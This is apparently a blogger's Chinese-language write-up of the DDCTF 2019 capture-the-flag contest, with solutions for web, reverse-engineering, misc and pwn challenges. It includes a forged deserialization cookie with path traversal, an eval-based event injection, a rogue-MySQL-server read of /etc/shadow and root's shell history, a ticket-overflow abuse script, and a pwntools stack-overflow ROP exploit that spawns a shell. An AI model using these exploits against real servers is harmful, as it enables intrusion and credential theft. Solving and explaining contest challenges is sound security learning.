DDCTF2019 Writeup

发表于 2019 年 4 月 25 日

历时 N 天, 滴滴终于审完了 Writeup, 终于可以发 wp 了, 我从 33 名到 16 名, 太真实了…
部分题目质量还是不错的 _(:з」∠)_, 因为要交上去, 所以就没截图了, 凑合看吧 (逃

Web

滴~

http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
可以看出来是双层 base64 + 一层 base16, 解码得到 flag.jpg, 那么可以得到 index.php 就是 TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,
就可以直接读源码了, 然而并没有 flag, 也不能读 config.php,
跟着注释中的网址 https://blog.csdn.net/FengBanLiuYun/article/details/80616607 可以在同作者底下找到 vim 学习记录, 找到 .practice.txt.swp 但是直接访问 404…,
各种姿势尝试发现是 practice.txt.swp… 有毒, 得到 f1ag!ddctf.php 的提示, 用 f1agconfigddctf.php 绕过, 得到源码,
f1ag!ddctf.php?k=data:,123&uid=123 即可绕过, 得到 flag.

WEB 签到题

/js/index.js 找到验证逻辑, 通过 didictf_usernameheader 来验证, 随便试了个 admin 就通过了,
得到下一步地址 /app/fL2XID2i0Cdh.php,

1if(!empty($_POST["nickname"])) {
2    $arr = array($_POST["nickname"],$this->eancrykey);
3    $data = "Welcome my friend %s";
4    foreach ($arr as $k => $v) {
5        $data = sprintf($data,$v);
6    }
7    parent::response($data,"Welcome");
8}

让 nickname 为 %s 就可以拿到 key, 通过双写绕过替换. 然后构造 Cookie 反序列化就可以了, 脚本如下

 1<?php
 2Class Application {
 3// ... 省略
 4}
 5
 6$a = new Application();
 7$a->path = "..././config/flag.txt";
 8$s = serialize($a);
 9$key = "EzblrbNS";
10$s .= md5($key . $s);
11echo $s; // O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2

ddctf_id 的值改成这个访问下就拿到 flag 了.

Upload-IMG

目的很明确, 图片里面存在 phpinfo() 就给 flag随便传个图片, 下载下来发现有 CREATOR: gd-jpeg,
应该是在服务器端有二次处理, 不能通过 exif 啥的携带数据, 用 GIMP 创建一张 20x20 图片, 在本地测试了一下

1<?php
2$img = imagecreatefromjpeg('/home/rmb122/gd.jpg');
3imagejpeg($img, '/home/rmb122/gd-out.jpg', 80);

010editor 可以解析格式, fuzz 发现在 ScanData 第三个字节后面写 phpinfo() 不会被处理掉, 传上去就拿到 flag 了.

homebrew event loop

审计源码, 发现

1is_action = event[0] == 'a' 
2action = get_mid_str(event, ':', ';') 
3args = get_mid_str(event, action+';').split('#') 
4try: 
5    event_handler = eval(action + ('_handler' if is_action else '_function')) 
6    ret_val = event_handler(args) 
7except RollBackException:

取 event_handler 的时候没有过滤, 通过 ?action:funcname%23;...
也就是在名字后面加个 # 可以绕过必须有后缀的限制, 于是就可以构造
?action:trigger_event%23;action:buy;1000%23action:get_flag;1
就可以调用 get_flag_handler 了, 虽然不能直接得到 flag, 而且交易会回滚, 但是因为

1def trigger_event(event): 
2    session['log'].append(event) 
3    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
4    if type(event) == type([]): 

有 log 的原因, 而且会存在 session 里面, 而 flask 的 session 内的数据是存在 cookie 里面的,
通过 session_cookie_manager 直接就可以解码, 得到在 log 里面的 flag.

大吉大利,今晚吃鸡~

通过浏览器插件 wappalyzer (应该是分析 Cookie 名称 revel_session 获取的) 可以得到后端是 go 写的,
盲猜有整数溢出, 最后试出来 2 ** 32 也就是 4294967296 可以溢出买到票, 里面比较迷,
还以为得什么洞拿到机器人的 token, 结果我自己又注册了个号, 发现可以直接自己移除自己…
然后写脚本不停自己移除自己就行了, 然后后端分配 id 还是在一个范围内随机的, 不是每次都是新 id, 而且访问速度还有限制
后面才能好久移除一个 233, 总之跑了好久移除完访问 /index.html#/main/result 直接拿到 flag.

 1import requests
 2import random
 3import time
 4
 5act = 'rmb122'
 6pwd = 'rmb122sudo ufw status numbered'
 7mainSess = requests.session()
 8mainSess.get(f'http://117.51.147.155:5050/ctf/api/login?name={act}&password={pwd}')
 9
10
11for i in range(1,999):
12    tmpact = 'laioqoLKJHSLJDKHKJrmb122' + 'QAQ' + str(i)
13    tmppwd = 'zxczxczxczxcczx'
14    tmp = requests.session()
15    tmp.get(f'http://117.51.147.155:5050/ctf/api/register?name={tmpact}&password={tmppwd}')
16    tmp.get('http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296')
17    bill = tmp.get('http://117.51.147.155:5050/ctf/api/search_bill_info').json()['data'][0]['bill_id']
18    tmp.get(f'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}')
19    res = tmp.get('http://117.51.147.155:5050/ctf/api/search_ticket').json()
20    id = res['data'][0]['id']
21    token = res['data'][0]['ticket']
22    res = mainSess.get(f'http://117.51.147.155:5050/ctf/api/remove_robot?id={id}&ticket={token}').json()
23    print(res)
24    time.sleep(3)

mysql弱口令

既然是客户端连服务端, 可以想到是 mysql 客户端的文件读取漏洞, 有现成的项目
然后一开始没发现 agent.py 里面是用的 netstat, 我用普通用户权限跑过不了检测 233, 就先去做上面一题了,
之后看了下源码用 root 跑就没问题了, 成功读 /etc/passwd, 接下来直接尝试读 /etc/shadow, 竟然读的了, 应该是 root 权限跑的 bot,
然后读 /root/.bash_history 可以得到 bot 源码路径, 发现提示 # flag in mysql curl@localhost database:security table:flag,
那么直接读数据库文件就可以了, /var/lib/mysql/security/flag.ibd, 拿到 flag.

Reverse

Windows Reverse1

upx -d 直接脱壳, 但是不知道为什么跑不了 233, 最后还是用的 ida 动态调试原程序, 发现就是对输入的字符替换一下, 写个脚本就行

1sbox = '''~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\x27&%$#"! '''
2shift = 32
3revSbox = {}
4flag = "DDCTF{reverseME}"
5for seq, i in enumerate(sbox):
6    revSbox[i] = chr(32 + seq)
7for i in flag:
8    print(revSbox[i], end='')

Windows Reverse2

用了没听说过的壳, 于是就手动找 OEP 脱了, 然而也跑不了, 只能 F5 233, 不过这也足够了, 发现第一层
就是 hex2bin, 然后第二层用了 std::string, 看不出来是啥, 动态调发现其实就是个 base64encode, 结果是 reverse+ 就通过
那么同样一个脚本搞定

1import base64
2
3flag = 'reverse+'
4flag = base64.b64decode(flag)
5flag = base64.b16encode(flag)
6print(flag)

MISC

真-签到题

公告最底下就是啦

北京地铁

不得不说这题脑洞是真的大… Stegsolve.jar 可以直接提取出隐写的东西, 但是不知道有啥用…
最后提示三放出来以后, 谷歌搜图搜到原图, 发现把二号线的颜色给换了, 线 字周围的颜色不一致就是没 PS 好,
233, 然后找了半天差别, 发现 魏公村 的颜色跟别的站点不一样, 随便试了一下拼音发现竟然就是秘钥, 惊了…
爆破了半天没出来, 没想到秘钥居然是这个.

 1import base64
 2from Crypto.Cipher import AES
 3from string import ascii_lowercase
 4from itertools import product
 5
 6def padding(key):
 7    return key + b'\x00' * (16 - len(key) % 16)
 8
 9# for i in product(*([ascii_lowercase] * count)):
10# for count in range(1, 17):
11i = 'weigongcun'
12c = "iKk/Ju3vu4wOnssdIaUSrg=="
13c = base64.b64decode(c)
14a = AES.new(padding(i.encode()), AES.MODE_ECB)
15res = a.decrypt(c)
16if res[:2] == b"DDCTF":
17        print(i)
18print(res)

MulTzor

感觉是 xor, 随手丢到之前看老外做题发现的工具,
autopwn 一下直接就出 flag 了, 不得不说太强了.

 1[+] Running multi-byte XOR brute force attack...
 2
 3Best candidate decryptions for M�fjc�ab~Z[�2e...:
 4----------------------------------------
 5
 6Trying keysize 24
 7Processing chunk 24 of 78
 8Trying keysize 18
 9Processing chunk 42 of 78
10Trying keysize 36
11Processing chunk 78 of 78
12
13....省略
14
15The flag is: DDCTF{07b1b46d1db28843d1fd76889fea9b36}

[PWN] strike

read 不会在读取的数据后面加 \x00, 于是就可以通过 fprintf 泄露 setbuf 地址,
然后算出基地址. password 长度输 -1, 就可以绕过长度限制, 直接栈溢出, 之后就是 rop 了.

 1from pwn import *
 2
 3p = remote('116.85.48.105',5005)
 4p.recvuntil('username:')
 5p.send('1'* 40)
 6
 7t = p.recvuntil('Plea')
 8libcleak = u32(t[0x33:0x37])  
 9stackButtom =  u32(t[0x2f:0x33])
10stack = stackButtom + 0x18
11libcbase = libcleak - 0x00065465
12# print hex(stack)
13# print hex(libcbase)
14
15p.recvuntil('password:')
16p.sendline('-1')
17p.recvuntil('):')
18binsh = libcbase + 0x0015902B
19# execve = libcbase + 0x000AF590
20system = libcbase + 0x0003A940
21payload = p32(stack)*((0x4c+0x18)/4 - 1) + p32(system) + p32(binsh) *4
22p.send(payload)
23p.interactive()

Wireshark

找 HTTP 流量, 可以找到几张图, 有一张图损坏无法打开, 发现 crc 不对, 修复一下就是秘钥,
得到 57pmYyWt, 然而不知道是啥隐写, 最后通过流量记录发现访问过 http://tools.jb51.net/,
可以在上面找到一个图片隐写, 把图片都试了一下最后发现那张比较大的图片可以解出 flag,

1flag+AHs-44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D+AH0-

把里面的 44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D, 解个 hex 就拿到 flag.

联盟决策大会

Shamir 秘密分享方案, 密码学刚学, 在 wiki 上有个挺好的脚本,
题目相当于用两次 Shamir, 这样就可以让两个组织都到才能解密, 把脚本照着这个思路稍微改一下就能拿到 flag,

 1from __future__ import division
 2from __future__ import print_function
 3
 4import random
 5import functools
 6
 7# 12th Mersenne Prime
 8# (for this application we want a known prime number as close as
 9# possible to our security level; e.g.  desired security level of 128
10# bits -- too large and all the ciphertext is large; too small and
11# security is compromised)
12_PRIME = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
13# 13th Mersenne Prime is 2**521 - 1
14
15# ... 省略
16
17t1 = (1,0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A)
18t2 = (2,0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7)
19t3 = (4,0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)
20t4 = (3,0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA)
21t5 = (4,0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9)
22t6 = (5,0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)
23
24def main():
25    '''main function'''
26    shares = [t1,t2,t3]
27    shares2 = [t4,t5,t6]
28    a = recover_secret(shares)
29    b = recover_secret(shares2)
30    t7 = (1, a)
31    t8 = (2, b)
32    c = recover_secret([t7, t8])
33    c = hex(c)[2:]
34    print(c)
35    print(bytes.fromhex(c))
36    #shares = []
37    #a = recover_secret(shares)
38    #print(a)